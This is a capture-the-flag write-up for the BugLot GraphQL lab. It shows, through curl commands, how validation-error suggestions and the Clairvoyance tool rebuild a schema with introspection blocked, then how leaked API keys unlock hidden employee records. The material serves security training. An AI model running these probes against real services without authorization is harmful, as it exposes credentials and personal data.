BugLot

Mystery Challenge (Medium) - by Leighlin Gunner Ramsay

Dashboard — WebVerse Prodashboard.webverselabs-pro.com

The following post by 0xb0b is licensed under CC BY 4.0

---

Scenario

BugLot's own security page calls the platform hardened and independently audited, and at a glance it holds up. But a company that catalogs everyone else's vulnerabilities got careless with its own data. A program's public page is only the slice they chose to show; the rest of the record is still sitting there for anyone who looks past the listing.

Summary

Summary

The target is BugLot, a vulnerability-disclosure platform whose own GraphQL API leaks more than its public listings show. Recon through Burp reveals the site runs on Apollo Server, with the main page and leaderboard both backed by GraphQL. Standard introspection (__schema, __type) is blocked.

The core technique is error-based schema reconstruction. Apollo's validation errors leak type names, field names, and argument signatures even with introspection disabled. Querying program without subfields leaks its return type and argument signature (program(handle: String!) → Company); querying bogus fields triggers "Did you mean" suggestions that reveal real field names, including a hidden __key/apikey field. Extracting programs { handle apikey } yields API keys, but no obviously usable root field, so the keys sit idle.

Clairvoyance then automates the same validation-error oracle with a larger wordlist and recovers what manual probing missed: a hidden employees(key, handle) root field returning a hidden Employee type with a sensitive internalNote. Supplying the leaked API key as the key argument unlocks the employee records and the final flag.

Attack Path

Introspection blocked
        ↓
Validation errors leak field names & types (manual oracle)
        ↓
__key probe → "Did you mean apikey?" → discover hidden field
        ↓
Extract API keys: blk_northwind_REDACTED, blk_cedar_REDACTED, ...
        ↓
Clairvoyance → discovers hidden root field: employees(key, handle)
        ↓
API key + handle → employees → internalNote → FLAG

Recon

We'll start by manually visiting the page and redirecting the request to Burp Suite through our proxy.Next, we'll look at the requests in the HTTP history.

It looks like we only have one main site and one leaderboard available.

https://accaf02d-3968-buglot-35239.events.webverselabs-pro.com/

When we visit the respective pages, we see that a GraphQL request is made and that we receive the result back as JSON.

https://accaf02d-3968-buglot-35239.events.webverselabs-pro.com/leaderboard

We'll continue by enumerating the GraphQL schema. But standard introspection query returns a hard block from the Apollo Server.

TARGET=https://accaf02d-3968-buglot-35239.events.webverselabs-pro.com

curl -sk $TARGET -H 'Content-Type: application/json' \
  -d '{"query":"{ __schema { types { name fields { name } } } }"}' | jq

We see also __type is also blocked.

curl -sk $TARGET -H 'Content-Type: application/json' \
  -d '{"query":"{ __type(name: \"Query\") { fields { name } } }"}' | jq

We can research on that topic on the following resource, but the bypasses mentioned here do not work.

GraphQL API vulnerabilities | Web Security AcademyWebSecAcademy

Exploit

Apollo's validation errors leak type names, field names, and argument signatures even with introspection disabled. So querying a field without its required subfields forces Apollo to leak the return type and argument signature.

curl -sk $TARGET -H 'Content-Type: application/json' \
  -d '{"query":"{ program }"}' | jq

This reveals: program(handle: String!) → Company without any introspection.

By querying a non-existent field it triggers Apollo's "Did you mean" suggestions, leaking real field names.

curl -sk $TARGET -H 'Content-Type: application/json' \
  -d '{"query":"{ programs { bounty } }"}' | jq

And probing with __key triggers a suggestion for a hidden field that was not in any standard wordlist:

curl -sk $TARGET -H 'Content-Type: application/json' \
  -d '{"query":"{ programs { __key } }"}' | jq

Since we found the apikey field we try to request that. We extract the leaked API keys from all programs. At this point we had leaked credentials but no way to use them, manual enumeration had not found any root field that accepted them.

curl -sk $TARGET -H 'Content-Type: application/json' \
  -d '{"query":"{ programs { handle apikey } }"}' | jq

Our manual enumeration has limited coverage so we switch to Clairvoyance which automates the same validation-error oracle with a much larger wordlist:

GitHub - nikitastupin/clairvoyance: Obtain GraphQL API schema even if the introspection is disabledGitHub

clairvoyance $TARGET -o schema.json

Clairvoyance discovers a hidden root field and type that manual probing missed:

cat schema.json | jq

The reconstructed schema revealed what we missed A hidden Employee record with the internalNote field:

type Query {
  programs: [Company!]!
  program(handle: String!): Company
  leaderboard: [Researcher!]!
  researcher(handle: String!): Researcher
  employees(key: String!, handle: String!): [Employee]   # ← HIDDEN
}

type Employee {          # ← HIDDEN TYPE
  name: String!
  title: String!
  email: String!
  phone: String!
  internalNote: String   # ← SENSITIVE INFORMATION
}

cat schema.json | jq '.data.__schema.types[] | select(.name=="Employee") | .fields[] | select(.name=="internalNote")

We try to query for the internal note, but without success. A key is required.

curl -sk $TARGET -H 'Content-Type: application/json' \
  -d '{"query":"{ employees( handle: \"northwind\") { name title email phone internalNote } }"}' | jq

The employees field requires a key argument, this might be the API key we leaked from Company.apikey:

 cat schema.json | jq '.data.__schema.types[] | select(.name=="Query") | .fields[] | select(.name=="employees") | .args[] | select(.name=="key")

Providing the leaked API key grants us access to employee records and their internal notes including the final flag.

curl -sk $TARGET -H 'Content-Type: application/json' \                                                         
  -d '{"query":"{ employees(key: \"REDACTED\", handle: \"northwind\") { name title email phone internalNote } }"}' | jq